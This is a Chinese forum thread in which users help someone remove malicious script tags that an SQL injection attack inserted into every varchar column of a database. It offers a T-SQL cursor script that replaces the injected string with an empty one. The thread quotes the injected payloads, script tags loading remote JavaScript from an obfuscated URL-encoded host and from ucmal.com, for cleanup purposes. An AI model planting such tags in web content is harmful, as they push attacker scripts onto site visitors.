组sql时如果串太复杂,最好把象'' </title> <script src=http://%61%31%38%38%2E%77%73/1.js> </script> <!--'','''')这样的内容放到一个变量里面再组串。

解决方案 »

  1.   


    麻烦您说详细点行吗?
    因刚接触SQL,忘前辈指点一下!
      

  2.   

    数据库被注入攻击   所有文本型字下段数据都被加了     <script_src=http://ucmal.com/0.js> </script> 
    怎么删掉?[code=SQL]
    DECLARE @fieldtype sysname
    SET @fieldtype='varchar'--删除处理
    DECLARE hCForEach CURSOR GLOBAL
    FOR
    SELECT N'update '+QUOTENAME(o.name)
        +N' set  '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
    FROM sysobjects o,syscolumns c,systypes t
    WHERE o.id=c.id 
        AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
        AND c.xusertype=t.xusertype
        AND t.name=@fieldtype
    EXEC sp_MSforeach_Worker @command1=N'?'[/code]
      

  3.   


    use abc
    goDECLARE @fieldtype sysname
    SET @fieldtype='varchar'--删除处理
    DECLARE hCForEach CURSOR GLOBAL
    FOR
    SELECT N'update '+QUOTENAME(o.name)
        +N' set  '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''</title> <script src=http://%61%31%38%38%2E%77%73/1.js> </script> <!--'','''')'
    FROM sysobjects o,syscolumns c,systypes t
    WHERE o.id=c.id 
        AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
        AND c.xusertype=t.xusertype
        AND t.name=@fieldtype
    EXEC sp_MSforeach_Worker @command1=N'?'
      

  4.   

    我把use abc
    go
    的abc换成我数据库的名称0754_abc后
    出出以下错误:服务器: 消息 170,级别 15,状态 1,行 1
    第 1 行: '0754' 附近有语法错误。